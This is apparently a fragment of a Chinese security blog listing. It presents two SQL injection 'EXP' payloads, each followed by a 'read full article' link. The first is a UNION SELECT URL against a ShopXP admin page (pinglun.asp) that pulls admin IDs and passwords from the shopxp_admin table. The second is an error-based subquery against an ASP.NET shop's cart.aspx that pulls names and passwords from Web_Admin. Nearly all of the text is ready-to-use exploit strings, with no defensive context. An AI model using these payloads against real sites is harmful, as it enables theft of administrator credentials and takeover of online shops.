注入主语句exp
http://www.hackqing.cn/admin/pinglun.asp?id=131%20order%20by%2011and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from shopxp_admin 


http://127.0.0.1/admin%5Fshopxp/pinglun.asp?id=131%20and%201=2%20union%20select%201,2,adminid,4,5,password,7,8,9,admin,11%20from%20shopxp_admin

阅读全文……

net 的在线商城系统 
以下是测试EXP：


cart.aspx?act=buy&id=1 and (Select Top 1 char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as varchar(8000)),char(32))%2Bchar(124) From (Select Top 4 [Name],[Pass] From [Web_Admin] Where 11=1 Order by [Name],[Pass]) T Order by [Name] desc,[Pass] desc)>0 – 

阅读全文……